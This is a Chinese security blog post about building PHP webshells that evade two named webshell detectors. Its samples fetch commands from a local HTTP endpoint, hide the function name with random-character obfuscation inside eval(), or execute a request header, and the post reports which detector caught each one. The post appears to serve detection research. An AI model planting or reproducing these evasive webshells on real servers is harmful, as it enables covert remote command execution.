长亭百川云 - 文章详情

webshell绕过案例

leveryd

121

2024-07-13

背景

在研究基于netfilter的后门时,我想到如果webshell可以创建af_packet、af_netlink等socket,就可以不使用$_POST$_GET等方式获取用户输入,因为某些webshell检测方式会标记$_POST$_GET等数据为污点,所以这种方式可以用来躲避检测。

不过很遗憾,从 https://www.php.net/manual/en/function.socket-create.php 文档中看,socket_create不支持创建af_netlink、af_packet类型的socket。

接着我又想到,我可以通过"端口复用"创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做"端口复用"。

https://cloud.tencent.com/lab/search?searchtitle=lnmp 的实验环境里搭了一个php-fpm环境后,测试后发现无法做端口复用,猜测应该是php-fpm服务监听的socket没有用SO_REUSEPORT选项。测试代码见 https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd

似乎上面两种思路都不行,最后我就想webshell能不能从远程获取用户输入呢,这样也不用$_POST$_GET等变量。沿着这个思路构造了几个样本,并在长亭的牧云[1]、百度的webdir[2]验证了一下检出效果。

测试过程

第一个样本如下

<?php$cmd=file_get_contents("http://127.0.0.1:9999/cmd");system($cmd);

牧云标记出webshell,webdir没有检出。

即使改成下面这种用eval、字符串拼接,牧云也可以检出

<?phpeval('$cmd=file_get'.'_contents("http://127.0.0.1:9999/cmd");');system($cmd);

不过加入随机数后,牧云就无法检出

<?phpfunction rand_char(){        $s = substr(str_shuffle(str_repeat("1t",1)), 0, 1); // 从"1"和"t"中随机选择一个字符        return $s;}$r=rand_char();eval('$cmd=file_ge'.$r.'_contents("http://127.0.0.1:9999/cmd");');system($cmd);

rand、mt_rand 生成的随机数,牧云是可以检出的

总结

最开始的思路是想避免$_POST$_GET等常见方式获取用户输入,最终绕过还是得靠不常见的随机数函数。

file_get_contents也可以改成socket,代码见 https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852

PS:在研究过程中,发现一个似乎比较少见的获取header的api,测试发现也可以绕过webdir

<?php$headers=apache_request_headers();eval($headers["X-TARGET"]);

参考资料

[1]

长亭的牧云: https://stack.chaitin.com/security-challenge/webshell/index

[2]

百度的webdir: https://scanner.baidu.com/#/pages/intro

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2